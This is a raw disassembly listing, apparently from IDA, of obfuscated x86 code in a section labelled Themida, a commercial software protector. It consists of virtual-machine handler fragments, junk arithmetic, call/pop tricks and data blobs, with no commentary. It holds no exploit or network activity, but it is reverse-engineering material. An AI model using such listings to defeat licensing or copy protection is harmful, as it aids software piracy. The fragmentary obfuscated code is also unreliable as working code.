loc_543BE8:				; CODE XREF: Themida_:00543BB7j
		mov	dword ptr [ebp+60B067Dh], 1
		mov	esp, [ebp+60B102Dh]
		mov	esi, [ebp+60B2891h]
		mov	ebp, [ebp+60B217Dh]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_543C09:				; CODE XREF: Themida_:00543B6Aj
		cmp	dword ptr [ebp+60B0021h], 0
		jz	short loc_543C21
		cmp	dword ptr [ebp+60B05B5h], 0
		jz	short loc_543C21
		call	dword ptr [ebp+60B05B5h]


loc_543C21:				; CODE XREF: Themida_:00543C10j
					; Themida_:00543C19j
		mov	esi, [ebp+60B4D74h]
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_543C33
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_543C33	proc near		; CODE XREF: Themida_:00543C2Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_543C33	endp

; ---------------------------------------------------------------------------
		db 85h
		dd 92BED3F5h, 8D896908h, 60B103Dh, 0BAF5h, 11E80000h, 0EC000000h
		dd 73609ADBh, 14B8E316h, 9DEE097Bh, 0B6C03AECh,	5BB8F8BAh
; ---------------------------------------------------------------------------
		ja	short loc_543CCC
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_543C82
; ---------------------------------------------------------------------------


loc_543C80:				; CODE XREF: Themida_:00543C85j
		inc	eax
		inc	edi


loc_543C82:				; CODE XREF: Themida_:00543C7Ej
		cmp	byte ptr [edi],	0
		jnz	short loc_543C80
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_543CB1
; ---------------------------------------------------------------------------


loc_543C8E:				; CODE XREF: Themida_:00543CB3j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_543CA6
; ---------------------------------------------------------------------------


loc_543CA3:				; CODE XREF: Themida_:00543CA9j
		mul	ebx
		dec	esi


loc_543CA6:				; CODE XREF: Themida_:00543CA1j
		cmp	esi, 0
		ja	short loc_543CA3
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_543CB1:				; CODE XREF: Themida_:00543C8Cj
		or	eax, eax
		jnz	short loc_543C8E
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0Ch,	8DD79C37h, 403D9135h
; ---------------------------------------------------------------------------


loc_543CCC:				; CODE XREF: Themida_:00543C70j
		add	dword ptr [esp+esi*2], 50006A3Dh
		call	sub_543CDB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_543CDB	proc near		; CODE XREF: Themida_:00543CD3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_543CDB	endp

; ---------------------------------------------------------------------------
		inc	eax
		mov	ah, 0C1h
		fcomp	dword ptr [esi]
		mov	bx, 0C5ABh
		mov	eax, ecx
		jmp	loc_565CD0
; ---------------------------------------------------------------------------
		db 28h
		dd 34025900h, 3F005AB9h, 68025900h, 12FFh, 26000000h, 26005ABEh
		dd 46005ABEh, 2000002h,	1000000h, 5000000h, 0A4000000h
		dd 0FA48C0h, 4 dup(0)
		dd 53000000h, 88005470h, 1005460h, 0EB0054E0h, 40005470h
		dd 0EB0054E2h, 960054CAh, 0FC0054A6h, 0E8005481h, 0C00054F2h
		dd 910054AAh, 0C70054DDh, 0B600546Eh, 86005451h, 0BF0054B5h
		dd 9D0054CDh, 0B2005459h, 0D30054ECh, 0F00054C9h, 9D005483h
		dd 910054B5h, 9700548Fh, 0FD0054F5h, 9E005470h,	0FC005489h
		dd 0F9005441h, 7700546Ch, 83005498h, 0A1005448h, 680054CBh
		dd 0F80054C7h, 0C00054B4h, 490054BEh, 1A005445h, 0D50054DCh
		dd 0F400545Eh, 5A00548Ch, 0C8005484h, 0B3005442h, 0FA0054D7h
		dd 5E005472h, 5A0054E0h, 330054E6h, 0BE0054FDh,	54C2h
		dd 0D1005477h, 9F0054F1h, 6B005470h, 830054D9h,	690054EBh
		dd 6C0054EFh, 2A0054A8h, 0E70054BAh, 650054E3h,	83005484h
		dd 80054D6h, 6B005489h,	3B0054E6h, 0DD0054A2h, 7B0054B9h
		dd 0CB0054C2h, 48005457h, 32005440h, 0EC00547Dh, 0F0005441h
		dd 1E005478h, 0AA0054B0h, 0F80054DAh, 550054F9h, 0D10054F3h
		dd 72005466h, 0F60054A3h, 44005485h, 0CB0054D2h, 0A2005448h
		dd 70005444h, 0F900546Eh, 8C0054A4h, 62005474h,	0FA00547Ch
		dd 19005449h, 47005461h, 0C40054E7h, 8400548Bh,	9E005491h
		dd 660054A7h, 400054E0h, 0BD005473h, 77005449h,	6300547Fh
		dd 8500546Bh, 2D0054ECh, 0C5005495h, 0F2005441h, 5C00547Eh
		dd 0D0054BEh, 3D0054A3h, 6D005458h, 0A10054DBh,	0ED0054EAh
		dd 0F005462h, 94005482h, 750054F4h, 4F005466h, 0A9005448h
		dd 50054C4h, 70054A3h, 0CC00546Dh, 4F005467h, 30054C1h
		dd 0EE005449h, 210054FEh, 33005444h, 200054C1h,	6E0054DEh
		dd 0CF00544Eh, 0EE0054AEh, 5D00544Fh, 800548Ch,	0D00054CDh
		dd 27005463h, 33005453h, 0F0054A2h, 0E10054D9h,	540054CFh
		dd 8C00547Ah, 5800544Fh, 130054F1h, 9E0054A4h, 2B0054BFh
		dd 0D0005471h, 0B50054B1h, 0CF005479h, 18005451h, 9E005463h
		dd 990054CAh, 0D3005443h, 640054E3h, 320054B4h,	0AC0054CEh
		dd 22005464h, 4F005480h, 0BA005471h, 110054E9h,	210054B5h
		dd 0B20054E2h, 0D2005491h, 5500548Bh, 190054E7h, 350054BCh
		dd 84005475h, 0FC005486h, 750054A8h, 0DC00544Ch, 17005440h
		dd 7D0054DBh, 0DC005491h, 87005464h, 58005459h,	510054BBh
		dd 3E005473h, 9500546Dh, 6E005489h, 86005479h, 63005473h
		dd 52005440h, 3C005457h
		db 0D9h, 54h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565CDA


loc_543FDB:				; CODE XREF: sub_565CDA+C2j
					; sub_565CDA+CCj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60B7F3Fh
		mov	eax, edi
		add	edi, 60B7C57h
		cmp	eax, [edi+2Ch]
		jnz	short loc_543FF9
		jmp	short loc_54400C
; ---------------------------------------------------------------------------


loc_543FF9:				; CODE XREF: sub_565CDA-21CE5j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_544008
; ---------------------------------------------------------------------------


loc_544003:				; CODE XREF: sub_565CDA-21CD0j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_544008:				; CODE XREF: sub_565CDA-21CD9j
		or	ecx, ecx
		jnz	short loc_544003


loc_54400C:				; CODE XREF: sub_565CDA-21CE3j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_544019:				; CODE XREF: sub_565CDA-21CBAj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_544019


loc_544022:				; CODE XREF: Themida_:005440C1j
					; Themida_:0054426Aj ...
		lodsb
		jmp	loc_54C5EC
; END OF FUNCTION CHUNK	FOR sub_565CDA
; ---------------------------------------------------------------------------


loc_544028:				; CODE XREF: Themida_:0054C840j
		add	ebp, 4
		jmp	loc_54BCF1
; ---------------------------------------------------------------------------


loc_544033:				; CODE XREF: Themida_:0054836Bj
		mov	ecx, [esp]
		add	esp, 4
		not	ecx
		push	edx
		mov	edx, 3B940625h
		inc	edx
		inc	edx
		jmp	loc_546312
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		sub	esp, 4
		jmp	loc_54AD21
; ---------------------------------------------------------------------------


loc_544055:				; CODE XREF: Themida_:00548ED1j
		mov	esp, [esp]
		jmp	loc_54B0DC
; ---------------------------------------------------------------------------


loc_54405D:				; CODE XREF: Themida_:00548A77j
		inc	ecx
		jmp	loc_54CB27
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3C483742h
		add	ebp, 3CB82A3Ah
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 1226793Fh
		sub	eax, 1D6F4392h
		add	eax, ebx
		add	eax, 1D6F4392h
		jmp	loc_549EEA
; ---------------------------------------------------------------------------


loc_544093:				; CODE XREF: Themida_:0054FC68j
		add	eax, ecx
		pop	ecx
		jmp	loc_547DA5
; ---------------------------------------------------------------------------


loc_54409B:				; CODE XREF: Themida_:00544DB7j
		add	esp, 4
		add	esi, edi
		mov	edi, [esp]
		push	eax
		jmp	loc_54A018
; ---------------------------------------------------------------------------


loc_5440AC:				; CODE XREF: Themida_:00544927j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4FACh
		jmp	loc_5480BD
; ---------------------------------------------------------------------------


loc_5440BC:				; CODE XREF: Themida_:0054BA5Bj
		dec	word ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5440C6:				; CODE XREF: Themida_:0054F653j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_54C570
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_546997
; ---------------------------------------------------------------------------


loc_5440E5:				; CODE XREF: Themida_:0054773Dj
		pop	eax
		jmp	loc_544552
; ---------------------------------------------------------------------------


loc_5440EB:				; CODE XREF: Themida_:0054FA5Aj
		shl	edx, 8
		add	edx, 3F1679BEh
		sub	edx, 63B7E70Dh
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54953B
; ---------------------------------------------------------------------------


loc_54410A:				; CODE XREF: Themida_:00547AA0j
		and	edi, 2E0D5EBCh
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54D6F6
; ---------------------------------------------------------------------------


loc_54411E:				; CODE XREF: Themida_:0054ADCCj
		push	edi
		push	25A86264h
		pop	edi
		jmp	loc_548FD8
; ---------------------------------------------------------------------------


loc_54412A:				; CODE XREF: Themida_:0054947Bj
		and	ebp, 68681A2Fh
		add	ebp, 610C25C9h
		sub	ebp, 73186CE1h
		and	ebp, 2D7144ADh
		not	ebp
		sub	ebp, 4E44052Ch
		sub	ebp, 844ABA27h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_54A337
		push	dword ptr [edi+1Ch]
		push	138Ah
		jmp	loc_54D949
; ---------------------------------------------------------------------------


loc_54417A:				; CODE XREF: Themida_:005446DAj
		push	ecx
		mov	ecx, 4946601Ch
		add	edi, ecx
		pop	ecx
		jmp	loc_54F76A
; ---------------------------------------------------------------------------


loc_544188:				; CODE XREF: Themida_:0054EFB4j
		push	ebp
		jmp	loc_547BFA
; ---------------------------------------------------------------------------


loc_54418E:				; CODE XREF: Themida_:00545A2Bj
		xor	esi, ebp
		not	ebp
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		neg	esi
		add	esi, 0FFFFFFFFh
		and	esi, 27FE1E62h
		xor	esi, 26FA1664h
		add	ebx, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_549C45
; ---------------------------------------------------------------------------


loc_5441B4:				; CODE XREF: Themida_:0054DF09j
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54B51D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 50A57D8Eh
		add	edx, 0AF5A8276h
		add	eax, edx
		jmp	loc_54DEAF
; ---------------------------------------------------------------------------


loc_5441DF:				; CODE XREF: Themida_:0054BFC6j
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_54C80A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_545B28
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		jmp	loc_546103
; ---------------------------------------------------------------------------


loc_544203:				; CODE XREF: Themida_:00546054j
		add	ecx, eax
		pop	eax
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_54443D
; ---------------------------------------------------------------------------


loc_54421A:				; CODE XREF: Themida_:0054ABC8j
		sub	dl, 1Dh
		jmp	loc_54E4FF
; ---------------------------------------------------------------------------


loc_544222:				; CODE XREF: Themida_:00545DECj
		pop	edx
		add	ch, 3Ah
		push	edx
		mov	dl, ch
		mov	al, dl
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		mov	eax, [esp]
		add	esp, 4
		add	al, 7Eh
		add	al, bl
		sub	al, 7Eh
		pop	ebx
		jmp	loc_54F260
; ---------------------------------------------------------------------------


loc_54424C:				; CODE XREF: Themida_:0054F6FEj
		add	esi, 4
		push	ebx
		jmp	loc_545292
; ---------------------------------------------------------------------------


loc_544258:				; CODE XREF: Themida_:0054A22Ej
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54426F:				; CODE XREF: Themida_:005458D7j
		push	edx
		push	ebx
		mov	ebx, 75D1079Ah
		xor	[esp+4], ebx
		jmp	loc_54C94A
; ---------------------------------------------------------------------------


loc_54427F:				; CODE XREF: Themida_:00548571j
		xor	ebp, 41BF49B2h
		sub	ecx, ebp
		pop	ebp
		add	ecx, 27EB188h
		add	esi, 7C3D5Fh
		sub	esi, 414219ACh
		add	esi, ecx
		jmp	loc_54D0AA
; ---------------------------------------------------------------------------


loc_5442A1:				; CODE XREF: Themida_:0054BB3Fj
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 8A939D0h
		shl	eax, 3
		and	eax, 0B1B5E1Dh
		add	eax, 0FEF6B204h
		jmp	loc_549F43
; ---------------------------------------------------------------------------


loc_5442BE:				; CODE XREF: Themida_:005493D5j
		pop	edx
		sub	[edi+24h], ebx
		pop	ebx
		jmp	loc_5480B7
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_54761F
; ---------------------------------------------------------------------------


loc_5442D0:				; CODE XREF: Themida_:00545930j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_54E761
; ---------------------------------------------------------------------------


loc_5442DF:				; CODE XREF: Themida_:005489BFj
		sub	ebp, edi
		jmp	loc_546271
; ---------------------------------------------------------------------------


loc_5442E6:				; CODE XREF: Themida_:00546C8Cj
		sub	al, 0AFh
		add	al, ch
		add	al, 0AFh
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 0A6h
		jmp	loc_54DCA0
; ---------------------------------------------------------------------------


loc_5442FA:				; CODE XREF: Themida_:0054B52Dj
		mov	[esp], edi
		sub	esp, 4
		push	2398h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 2
		sub	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544344:				; CODE XREF: Themida_:00549690j
		push	eax
		mov	eax, 316D2784h
		mov	esi, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54839D
; ---------------------------------------------------------------------------


loc_544357:				; CODE XREF: Themida_:00546F20j
		push	51DCh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_547A71
; ---------------------------------------------------------------------------


loc_544369:				; CODE XREF: Themida_:0054AFA0j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54CE11
; ---------------------------------------------------------------------------


loc_544374:				; CODE XREF: Themida_:00545764j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54C934
; ---------------------------------------------------------------------------

locret_544382:				; CODE XREF: Themida_:0054849Fj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544388:				; CODE XREF: Themida_:00546A0Aj
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_546D9C
; ---------------------------------------------------------------------------


loc_544391:				; CODE XREF: Themida_:0054F6C7j
		shl	ebp, 7
		jmp	loc_54C45C
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5443A2:				; CODE XREF: Themida_:005480D9j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_54C093
; ---------------------------------------------------------------------------


loc_5443B1:				; CODE XREF: Themida_:0054AA20j
		mov	ecx, 7DBCD0E4h
		sub	ebp, 40215BCBh
		add	ebp, ecx
		add	ebp, 40215BCBh
		pop	ecx
		mov	edi, ebp
		pop	ebp
		sub	edi, 29D3536Eh
		jmp	loc_54C875
; ---------------------------------------------------------------------------


loc_5443D3:				; CODE XREF: Themida_:0054FB08j
		push	25D8276Ch
		mov	edx, [esp]
		add	esp, 4
		not	edx
		not	edx
		add	edx, 0DA27D898h
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ecx, eax
		jmp	loc_54F81E
; ---------------------------------------------------------------------------


loc_5443FE:				; CODE XREF: Themida_:00545EF5j
		add	eax, 16DF1892h
		sub	eax, 0F8769FEh
		pop	ebp
		jmp	loc_54C596
; ---------------------------------------------------------------------------


loc_54440E:				; CODE XREF: Themida_:0054D0B7j
		push	ebp
		jmp	loc_54EAD3
; ---------------------------------------------------------------------------


loc_544414:				; CODE XREF: Themida_:00546534j
		add	ebp, 50D6D2Dh
		not	ebp
		jmp	loc_54E2F7
; ---------------------------------------------------------------------------
		xchg	dl, [esp]
		push	dx
		push	bx
		jmp	loc_546484
; ---------------------------------------------------------------------------


loc_54442D:				; CODE XREF: Themida_:0054F8A2j
		pop	ecx
		sub	ch, 10h
		jmp	loc_54C384
; ---------------------------------------------------------------------------


loc_544436:				; CODE XREF: Themida_:005499C1j
		add	ebx, esi
		jmp	loc_545E85
; ---------------------------------------------------------------------------


loc_54443D:				; CODE XREF: Themida_:00544215j
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544449:				; CODE XREF: Themida_:0054762Ej
		dec	ebx
		not	ebx


loc_54444C:				; DATA XREF: ___:off_43CCF4o
		jmp	loc_544E86
; ---------------------------------------------------------------------------


loc_544451:				; CODE XREF: Themida_:0054801Dj
		mov	edx, ecx
		pop	ecx
		push	ebp
		jmp	loc_545130
; ---------------------------------------------------------------------------


loc_54445A:				; CODE XREF: Themida_:0054AE0Fj
		pop	ecx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544460:				; CODE XREF: Themida_:00546B01j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	4D21h
		mov	[esp], ebx
		mov	ebx, 4
		sub	esp, 4
		jmp	loc_54FC3A
; ---------------------------------------------------------------------------


loc_54448C:				; CODE XREF: Themida_:00547CECj
		pop	cx
		push	2E22h
		mov	[esp], ebx
		mov	bl, 4Dh
		add	dl, 0A2h
		sub	dl, bl
		jmp	loc_548342
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54D6B6
; ---------------------------------------------------------------------------


loc_5444B4:				; CODE XREF: Themida_:0054ABFDj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5444C9:				; CODE XREF: Themida_:00545952j
		push	edx
		mov	dh, 0A9h
		shl	dh, 7
		add	dh, 48h
		sub	dh, 0FFh
		jmp	loc_546C91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_5444DA:				; CODE XREF: sub_545BCC+9B69j
		mov	ebx, [esp+0]
		jmp	loc_548A2A
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_5444E2:				; CODE XREF: Themida_:0054EDBEj
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5444F2:				; CODE XREF: Themida_:005466CCj
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		sub	ebp, 0D054CB12h
		add	eax, ebp
		pop	ebp
		push	5D44h
		mov	[esp], eax
		xor	dword ptr [esp], 779076DAh
		pop	esi
		jmp	loc_54F161
; ---------------------------------------------------------------------------


loc_544516:				; CODE XREF: Themida_:0054EA03j
		add	ebx, 68717F8Bh
		add	ebx, esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4AB5923h
		or	esi, 1DFB06E1h
		sub	esi, 0B589E058h
		sub	ebx, esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54FD92
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544552:				; CODE XREF: Themida_:005440E6j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 5A900364h
		dec	ecx
		sub	ecx, 35A719AFh
		shr	ecx, 2
		inc	ecx
		push	eax
		mov	eax, 6E3D01D7h
		sub	eax, 28B043E4h
		add	eax, 0E1A29D8Ch
		jmp	loc_54E09F
; ---------------------------------------------------------------------------


loc_54458E:				; CODE XREF: Themida_:0054A8F7j
		mov	edi, 156E4687h
		add	edi, ebx
		pop	ebx
		sub	edi, 7CBE5B50h
		sub	eax, 675849A0h
		add	eax, edi
		add	eax, 675849A0h
		pop	edi
		jmp	loc_549480
; ---------------------------------------------------------------------------


loc_5445AE:				; CODE XREF: Themida_:0054D4ADj
		sub	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	11D46F38h
		pop	edx
		shr	edx, 5
		neg	edx
		jmp	loc_54C97C
; ---------------------------------------------------------------------------


loc_5445D0:				; CODE XREF: Themida_:00548564j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5445D5:				; CODE XREF: Themida_:0054EDF4j
		push	6965h
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_545DDA
; ---------------------------------------------------------------------------


loc_5445EA:				; CODE XREF: Themida_:0054DDB0j
		add	esi, eax
		pop	eax
		jmp	loc_54FB59
; ---------------------------------------------------------------------------


loc_5445F2:				; CODE XREF: Themida_:0054A42Bj
		add	ebp, 57CE1283h
		jmp	loc_54FDE8
; ---------------------------------------------------------------------------


loc_5445FD:				; CODE XREF: Themida_:00546CC3j
		sub	edx, 4A7D3E53h
		jmp	loc_54A831
; ---------------------------------------------------------------------------


loc_544608:				; CODE XREF: Themida_:0054BC7Cj
		mov	eax, [esp]
		add	esp, 4
		xor	edi, ebx
		pop	ebx
		inc	edi
		sub	edi, 5F2C3A3Dh
		jmp	loc_54EDB5
; ---------------------------------------------------------------------------


loc_54461D:				; CODE XREF: Themida_:00545658j
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_54468E
; ---------------------------------------------------------------------------


loc_544630:				; CODE XREF: Themida_:0054C325j
		add	eax, 590C6979h
		push	edx
		mov	edx, 73326608h
		add	eax, 27C66026h
		jmp	loc_54C7D2
; ---------------------------------------------------------------------------


loc_544645:				; CODE XREF: Themida_:005473BDj
		push	0F8Eh
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_548BAF
; ---------------------------------------------------------------------------


loc_54466A:				; CODE XREF: Themida_:005476A4j
		pop	edi
		add	eax, 4108842Dh
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		push	ecx
		jmp	loc_54FC63
; ---------------------------------------------------------------------------


loc_54467F:				; CODE XREF: Themida_:00549E4Bj
		pop	edi
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_54FB0D
; ---------------------------------------------------------------------------


loc_54468E:				; CODE XREF: Themida_:0054462Bj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_545A35
; ---------------------------------------------------------------------------


loc_5446A0:				; CODE XREF: Themida_:0054AB05j
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		pop	esi
		shr	edi, 3
		push	edx
		push	16CF2D7Fh
		pop	edx
		or	edx, 6760575Dh
		jmp	loc_54732F
; ---------------------------------------------------------------------------


loc_5446C0:				; CODE XREF: Themida_:0054DB3Fj
		pop	eax
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_54855A
; ---------------------------------------------------------------------------


loc_5446CE:				; CODE XREF: Themida_:0054B9E6j
		mov	[esp], eax
		mov	eax, esp
		push	edi
		push	66AC3026h
		pop	edi
		jmp	loc_54417A
; ---------------------------------------------------------------------------


loc_5446DF:				; CODE XREF: Themida_:0054E602j
		mov	ecx, ebx
		pop	ebx
		add	[esp+8], ecx
		pop	ecx
		sub	[esp+4], ecx
		push	ecx
		mov	ecx, 55996AB6h
		sub	[esp+8], ecx
		jmp	loc_54FC8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_5446FA:				; CODE XREF: sub_545BCC+7E18j
		add	al, bl
		pop	bx
		add	al, 0AEh
		add	al, 0CDh
		sub	al, ch
		push	ebx
		mov	bh, 43h
		not	bh
		shr	bh, 8
		shr	bh, 7
		inc	bh
		jmp	loc_5492F4
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_544716:				; CODE XREF: Themida_:0054FF16j
		sub	ecx, 20B42E57h
		add	ecx, ebx
		add	ecx, 20B42E57h
		pop	ebx
		dec	ecx
		xor	ecx, 7261DCDh
		neg	ecx
		inc	ecx
		sub	ecx, 0D282CD79h
		mov	esi, ecx
		jmp	loc_54F3E4
; ---------------------------------------------------------------------------


loc_54473C:				; CODE XREF: Themida_:0054862Bj
		mov	[esp], esi
		sub	esp, 4
		push	74A6h
		push	esp
		jmp	loc_54DB53
; ---------------------------------------------------------------------------


loc_54474D:				; CODE XREF: Themida_:0054E4EFj
		pop	ebx
		shr	edx, 2
		jmp	loc_548296
; ---------------------------------------------------------------------------


loc_544756:				; CODE XREF: Themida_:0054EDE3j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	1D9h
		mov	[esp], esi
		mov	esi, 587B8E7h
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_549C16
; ---------------------------------------------------------------------------


loc_54478E:				; CODE XREF: Themida_:005479E6j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_54F690
; ---------------------------------------------------------------------------


loc_54479B:				; CODE XREF: Themida_:0054C74Aj
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_54C4E3
; ---------------------------------------------------------------------------


loc_5447A7:				; CODE XREF: Themida_:00549573j
		sub	al, dl
		add	al, 9Fh
		jmp	loc_54872C
; ---------------------------------------------------------------------------


loc_5447B0:				; CODE XREF: Themida_:0054A207j
		pop	edi
		add	edx, ebx
		pop	ebx
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 2BDC033Eh
		add	edx, esi
		add	edx, 2BDC033Eh
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_548A47
; ---------------------------------------------------------------------------


loc_5447E1:				; CODE XREF: Themida_:0054E09Aj
		mov	edi, 702E0D46h
		mov	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 42DF214Bh
		add	ebp, 35084DF7h
		add	ebx, ebp
		pop	ebp
		and	ebx, 55EC57CCh
		sub	ebx, 40045486h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_548ED6
; ---------------------------------------------------------------------------


loc_544811:				; CODE XREF: Themida_:0054B302j
		mov	esi, 3A992560h
		xor	esi, 1C8634BAh
		xor	esi, 1F7272BEh
		add	edi, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_54ED75
; ---------------------------------------------------------------------------


loc_544833:				; CODE XREF: Themida_:0054F3DFj
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544838:				; CODE XREF: Themida_:005457A0j
		sub	esi, 4
		xchg	esi, [esp]
